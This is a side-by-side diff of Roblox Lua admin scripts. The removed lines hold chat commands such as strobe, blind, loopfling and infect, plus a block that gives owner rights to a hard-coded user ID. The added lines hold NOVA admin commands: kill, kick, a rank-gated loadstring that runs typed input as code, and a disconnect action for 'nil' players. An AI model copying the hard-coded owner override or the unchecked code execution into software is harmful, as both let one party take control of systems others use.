1890 | + | if not v.PlayerGui:FindFirstChild("NOVACMD") then |
1891 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1891 | + | local Main = Instance.new("ScreenGui",v.PlayerGui) |
1892 | - | for i, v in pairs(plrz) do |
1892 | + | Main.Name = "NOVACMD" |
1893 | ||
1894 | - | if v and v.Character then |
1894 | + | local Frame = Instance.new("Frame",Main) |
1895 | - | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1) |
1895 | + | Frame.Size = UDim2.new(0.27,0,0.05,0) |
1896 | - | v:LoadCharacter() |
1896 | + | Frame.Position = UDim2.new(0.05,0,0.95,0) |
1897 | Frame.Style = "RobloxSquare" | |
1898 | Frame.ZIndex = 9 | |
1899 | ||
1900 | local Txt = Instance.new("TextBox",Frame) | |
1901 | Txt.Size = UDim2.new(0.7,0,1,0) | |
1902 | - | if msg:lower():sub(1,7) == "unchar " then |
1902 | + | Txt.BackgroundTransparency = 1 |
1903 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1903 | + | Txt.ZIndex = 10 |
1904 | - | for i, v in pairs(plrz) do |
1904 | + | Txt.FontSize = "Size14" |
1905 | Txt.TextColor3 = NOVA.Colors.White | |
1906 | - | if v and v.Character then |
1906 | + | Txt.Text = "" |
1907 | - | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId |
1907 | + | |
1908 | - | v:LoadCharacter() |
1908 | + | local Exe = Instance.new("TextButton",Frame) |
1909 | Exe.Size = UDim2.new(0.3,0,1,0) | |
1910 | Exe.Position = UDim2.new(0.7,0,0,0) | |
1911 | Exe.Text = "Execute" | |
1912 | Exe.BackgroundTransparency = 1 | |
1913 | Exe.ZIndex = 10 | |
1914 | - | if msg:lower():sub(1,7) == "infect " then |
1914 | + | Exe.FontSize = "Size14" |
1915 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1915 | + | Exe.TextColor3 = NOVA.Colors.Red |
1916 | - | for i, v in pairs(plrz) do |
1916 | + | Exe.MouseButton1Down:connect(function() |
1917 | if Txt.Text:sub(1,2) == "$ " then | |
1918 | - | if v and v.Character then |
1918 | + | OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v) |
1919 | - | Infect(v.Character) |
1919 | + | else |
1920 | OnChatted(Txt.Text,v) | |
1921 | end | |
1922 | end) | |
1923 | end | |
1924 | end | |
1925 | - | if msg:lower():sub(1,11) == "rainbowify " then |
1925 | + | end |
1926 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
1926 | + | end) |
1927 | - | for i, v in pairs(plrz) do |
1927 | + | end |
1928 | end | |
1929 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1929 | + | end |
1930 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1930 | + | end)) |
1931 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1931 | + | |
1932 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1932 | + | MainLoop() |
1933 | - | local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] |
1933 | + | AddCommand("Ping","ping",3,"Outputs the following string.","<String>", |
1934 | - | cl.Parent = v.Character cl.Disabled = false |
1934 | + | function(Msg,Speaker) |
1935 | if Msg == "rainbow" then | |
1936 | for a,Color in pairs(NOVA.Colors) do | |
1937 | Output(tostring(a),Color,Speaker,nil, | |
1938 | function() | |
1939 | RemoveTablets(Speaker) | |
1940 | - | if msg:lower():sub(1,9) == "flashify " then |
1940 | + | NOVA.Services.Lighting.TimeOfDay = 0 |
1941 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1941 | + | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black |
1942 | - | for i, v in pairs(plrz) do |
1942 | + | NOVA.Services.Lighting.Brightness = 0 |
1943 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1944 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1944 | + | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black |
1945 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1945 | + | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black |
1946 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1946 | + | for _,v in pairs(GetRecursiveChildren(workspace)) do |
1947 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1947 | + | if v:IsA("BasePart") then |
1948 | - | local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] |
1948 | + | Sel = Instance.new("SelectionBox",v) |
1949 | - | cl.Parent = v.Character cl.Disabled = false |
1949 | + | Sel.Transparency = 0 |
1950 | Sel.Color = BrickColor.new(Color) | |
1951 | Sel.Adornee = v | |
1952 | end | |
1953 | end | |
1954 | Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5) | |
1955 | - | if msg:lower():sub(1,8) == "noobify " then |
1955 | + | end |
1956 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1956 | + | ) |
1957 | - | for i, v in pairs(plrz) do |
1957 | + | end |
1958 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1959 | - | if v and v.Character then |
1959 | + | elseif Msg == "ranks" then |
1960 | - | Noobify(v.Character) |
1960 | + | for _,v in pairs(NOVA.Ranks) do |
1961 | Output(v[1].."\t"..v[2],"Random",Speaker) | |
1962 | end | |
1963 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1964 | elseif Msg == "random" then | |
1965 | Output(tostring(math.random()),"Random",Speaker) | |
1966 | - | if msg:lower():sub(1,9) == "ghostify " then |
1966 | + | elseif Msg == "players" then |
1967 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1967 | + | for _,v in pairs(GetPlayersRaw()) do |
1968 | - | for i, v in pairs(plrz) do |
1968 | + | local Data = GetRankedTable(v) |
1969 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil, | |
1970 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1970 | + | function() |
1971 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1971 | + | PlayerInterface(v,Speaker) |
1972 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1972 | + | end |
1973 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1973 | + | ) |
1974 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1974 | + | end |
1975 | - | prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white") |
1975 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
1976 | - | if prt.Name:find("Leg") then prt.Transparency = 1 end |
1976 | + | elseif Msg == "colors" then |
1977 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white") |
1977 | + | coroutine.resume(coroutine.create(function() |
1978 | - | end end |
1978 | + | NOVA.Services.Lighting.TimeOfDay = 0 |
1979 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
1980 | NOVA.Services.Lighting.Brightness = 0 | |
1981 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1982 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1983 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
1984 | - | if msg:lower():sub(1,8) == "goldify " then |
1984 | + | |
1985 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1985 | + | for _,Player in pairs(GetPlayersRaw()) do |
1986 | - | for i, v in pairs(plrz) do |
1986 | + | local Data = GetRankedTable(Player) |
1987 | pcall(function() | |
1988 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1988 | + | for _,v in pairs(GetRecursiveChildren(Player.Character)) do |
1989 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1989 | + | if v:IsA("BasePart") then |
1990 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1990 | + | Sel = Instance.new("SelectionBox",v) |
1991 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1991 | + | Sel.Transparency = 0 |
1992 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1992 | + | Sel.Color = BrickColor.new(Data.Color) |
1993 | - | prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow") |
1993 | + | Sel.Adornee = v |
1994 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow") |
1994 | + | end |
1995 | - | end end |
1995 | + | end |
1996 | end) | |
1997 | end | |
1998 | ||
1999 | wait(10) | |
2000 | ||
2001 | - | if msg:lower():sub(1,6) == "shiny " then |
2001 | + | for _,v in pairs(GetRecursiveChildren(workspace)) do |
2002 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2002 | + | if v:IsA("SelectionBox") then |
2003 | - | for i, v in pairs(plrz) do |
2003 | + | v:remove() |
2004 | end | |
2005 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
2005 | + | end |
2006 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
2006 | + | |
2007 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
2007 | + | NOVA.Services.Lighting.Ambient = NOVA.Colors.White |
2008 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
2008 | + | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black |
2009 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
2009 | + | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black |
2010 | - | prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white") |
2010 | + | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) |
2011 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white") |
2011 | + | NOVA.Services.Lighting.Brightness = 1 |
2012 | - | end end |
2012 | + | NOVA.Services.Lighting.FogStart = 0 |
2013 | NOVA.Services.Lighting.FogEnd = 100000 | |
2014 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
2015 | NOVA.Services.Lighting.TimeOfDay = 12 | |
2016 | end)) | |
2017 | elseif Msg == "replicators" then | |
2018 | - | if msg:lower():sub(1,7) == "normal " then |
2018 | + | for _,v in pairs(GetReplicators()) do |
2019 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
2019 | + | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, |
2020 | - | for i, v in pairs(plrz) do |
2020 | + | function() |
2021 | PlayerInterface(v:GetPlayer(),Speaker) | |
2022 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
2022 | + | end |
2023 | - | if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end |
2023 | + | ) |
2024 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
2024 | + | end |
2025 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
2025 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2026 | - | v.Character.Torso.Transparency = 0 |
2026 | + | elseif Msg == "nil raw" then |
2027 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
2027 | + | for _,v in pairs(GetReplicators()) do |
2028 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
2028 | + | if v:GetPlayer().Parent == nil then |
2029 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
2029 | + | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, |
2030 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
2030 | + | function() |
2031 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
2031 | + | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, |
2032 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
2032 | + | function() |
2033 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
2033 | + | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey.."" |
2034 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White") |
2034 | + | |
2035 | - | if prt.Name == "FAKETORSO" then prt:Destroy() end |
2035 | + | end |
2036 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White") |
2036 | + | ) |
2037 | - | end end |
2037 | + | end |
2038 | ) | |
2039 | end | |
2040 | end | |
2041 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2042 | elseif Msg == "nil" then | |
2043 | - | if msg:lower():sub(1,7) == "trippy " then |
2043 | + | local IsNil = false |
2044 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
2044 | + | for _,Client in pairs(GetReplicators()) do |
2045 | - | for i, v in pairs(plrz) do |
2045 | + | if Client:GetPlayer().Parent == nil then |
2046 | IsNil = true | |
2047 | - | if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then |
2047 | + | end |
2048 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
2048 | + | end |
2049 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY" |
2049 | + | if IsNil == true then |
2050 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
2050 | + | for _,Client in pairs(GetReplicators()) do |
2051 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false |
2051 | + | if Client:GetPlayer().Parent == nil then |
2052 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
2053 | function() | |
2054 | PlayerInterface(Client:GetPlayer(),Speaker) | |
2055 | end | |
2056 | ) | |
2057 | - | if msg:lower():sub(1,9) == "untrippy " then |
2057 | + | end |
2058 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
2058 | + | end |
2059 | - | for i, v in pairs(plrz) do |
2059 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2060 | else | |
2061 | - | if v and v:findFirstChild("PlayerGui") then |
2061 | + | Output("No nil players.",NOVA.Colors.Orange,Speaker,5) |
2062 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end |
2062 | + | end |
2063 | elseif Msg:sub(1,2) == "a" .. NOVA.Bet then | |
2064 | if GetRank(Speaker) < 6 then | |
2065 | Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10) | |
2066 | else | |
2067 | Rtn = loadstring("return "..Msg:sub(3))() | |
2068 | - | if msg:lower():sub(1,7) == "strobe " then |
2068 | + | Output(Rtn,"Random",Speaker) |
2069 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
2069 | + | end |
2070 | - | for i, v in pairs(plrz) do |
2070 | + | else |
2071 | if #Msg == 0 then | |
2072 | - | if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then |
2072 | + | Output("Pong!","Random",Speaker) |
2073 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
2073 | + | else |
2074 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE" |
2074 | + | Output(Msg,"Random",Speaker) |
2075 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
2075 | + | end |
2076 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false |
2076 | + | end |
2077 | end | |
2078 | ) | |
2079 | AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments", | |
2080 | function(Msg,Speaker) | |
2081 | if #Msg == 0 or Msg == nil then | |
2082 | - | if msg:lower():sub(1,9) == "unstrobe " then |
2082 | + | RemoveTablets(Speaker) |
2083 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
2083 | + | else |
2084 | - | for i, v in pairs(plrz) do |
2084 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2085 | RemoveTablets(v) | |
2086 | - | if v and v:findFirstChild("PlayerGui") then |
2086 | + | end |
2087 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end |
2087 | + | end |
2088 | end | |
2089 | ) | |
2090 | AddCommand("Remove","remove",7,"Removes the admin.","No Arguments", | |
2091 | function(Msg,Speaker) | |
2092 | NOVA.TimeChanged = false | |
2093 | - | if msg:lower():sub(1,6) == "blind " then |
2093 | + | RemoveTablets() |
2094 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2094 | + | SyncRanksOut() |
2095 | - | for i, v in pairs(plrz) do |
2095 | + | NOVA.Sounds.Sound:Remove() |
2096 | NOVA.Removed = true | |
2097 | - | if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then |
2097 | + | --error("NOVA Admin removing...",0)() |
2098 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
2098 | + | NOVA = {} |
2099 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND" |
2099 | + | script.Disabled = true |
2100 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
2100 | + | while true do wait() end |
2101 | end | |
2102 | ) | |
2103 | AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>", | |
2104 | function(Msg,Speaker) | |
2105 | makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) | |
2106 | - | if msg:lower():sub(1,8) == "unblind " then |
2106 | + | end |
2107 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
2107 | + | ) |
2108 | - | for i, v in pairs(plrz) do |
2108 | + | AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>", |
2109 | function(Msg,Speaker) | |
2110 | - | if v and v:findFirstChild("PlayerGui") then |
2110 | + | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) |
2111 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end |
2111 | + | end |
2112 | ) | |
2113 | ||
2114 | AddCommand("Kill","kill",2,"Kills the selected player.","<Player>", | |
2115 | function(Msg,Speaker) | |
2116 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2117 | - | if msg:lower():sub(1,7) == "guifix " then |
2117 | + | pcall(function() v.Character:BreakJoints() end) |
2118 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
2118 | + | end |
2119 | - | for i, v in pairs(plrz) do |
2119 | + | end |
2120 | ) | |
2121 | - | if v and v:findFirstChild("PlayerGui") then |
2121 | + | AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>", |
2122 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
2122 | + | function(Msg,Speaker) |
2123 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2124 | for i=1,50 do | |
2125 | local human = v.Character.Humanoid | |
2126 | if human ~= nil then | |
2127 | local rand = math.random(1,10) | |
2128 | - | if msg:lower():sub(1,9) == "loopheal " then |
2128 | + | human:TakeDamage(rand) |
2129 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
2129 | + | human.Jump = true |
2130 | - | for i, v in pairs(plrz) do |
2130 | + | human.Sit = true |
2131 | - | if v then |
2131 | + | human.PlatformStand = true |
2132 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[ |
2132 | + | |
2133 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
2133 | + | human.PlatformStand = false |
2134 | - | repeat wait() |
2134 | + | |
2135 | end | |
2136 | - | if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then |
2136 | + | end |
2137 | - | plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth |
2137 | + | end |
2138 | - | plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end) |
2138 | + | ) |
2139 | AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>", | |
2140 | function(Msg,Speaker) | |
2141 | - | until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
2141 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2142 | Delay(0, function() | |
2143 | local player = v | |
2144 | local pos = CFrame.new() | |
2145 | local pause = false | |
2146 | - | if msg:lower():sub(1,11) == "unloopheal " then |
2146 | + | Delay(0, function() |
2147 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
2147 | + | while not close do |
2148 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
2148 | + | wait() |
2149 | if not pause then | |
2150 | local c = player.Character | |
2151 | - | if msg:lower():sub(1,10) == "loopfling " then |
2151 | + | if c then |
2152 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
2152 | + | local t = c:findFirstChild("Torso") |
2153 | - | for i, v in pairs(plrz) do |
2153 | + | if t then |
2154 | - | if v then |
2154 | + | pos = t.CFrame |
2155 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[ |
2155 | + | end |
2156 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
2156 | + | end |
2157 | - | repeat |
2157 | + | end |
2158 | end | |
2159 | - | if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then |
2159 | + | end) |
2160 | - | local xran local zran |
2160 | + | player.CharacterAdded:connect(function(c) |
2161 | - | repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 |
2161 | + | if not close then |
2162 | - | repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 |
2162 | + | pause = true |
2163 | - | plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0) |
2163 | + | repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid") |
2164 | - | local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) |
2164 | + | c:findFirstChild("Torso").CFrame = pos |
2165 | c:findFirstChild("Humanoid").Died:connect(function() | |
2166 | player:LoadCharacter() | |
2167 | - | wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
2167 | + | end) |
2168 | pause = false | |
2169 | end | |
2170 | end) | |
2171 | pcall(function() player.Character:BreakJoints() end) | |
2172 | - | if msg:lower():sub(1,12) == "unloopfling " then |
2172 | + | end) |
2173 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
2173 | + | end |
2174 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
2174 | + | end |
2175 | ) | |
2176 | ||
2177 | AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>", | |
2178 | function(Msg,Speaker) | |
2179 | - | ------------------------- |
2179 | + | for _,v in pairs(NOVA.KickingPhrases) do |
2180 | - | -- True Owner Commands -- |
2180 | + | local m = Instance.new("Message",NOVA.Services.Workspace) |
2181 | - | ------------------------- |
2181 | + | m.Text = " If you say : " .. v .. " : you will get auto-kicked!" |
2182 | wait(1) m:Remove() | |
2183 | - | if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then |
2183 | + | end end |
2184 | ) | |
2185 | - | if msg:lower():sub(1,3) == "oa " then |
2185 | + | AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>", |
2186 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
2186 | + | function(Msg,Speaker) |
2187 | - | for i, v in pairs(plrz) do |
2187 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2188 | pcall(function() | |
2189 | - | if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
2189 | + | v:Destroy() |
2190 | end) | |
2191 | end | |
2192 | end | |
2193 | ) | |
2194 | - | if msg:lower():sub(1,5) == "unoa " then |
2194 | + | AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>", |
2195 | - | for i = 1, #owners do |
2195 | + | function(Msg,Speaker) |
2196 | Split = GetSplit(Msg) | |
2197 | - | if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end |
2197 | + | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do |
2198 | pcall(function() | |
2199 | Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v) | |
2200 | end) | |
2201 | end | |
2202 | - | if msg:lower() == "settings" then |
2202 | + | end |
2203 | - | for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end |
2203 | + | ) |
2204 | - | local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI" |
2204 | + | |
2205 | - | local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true |
2205 | + | AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>", |
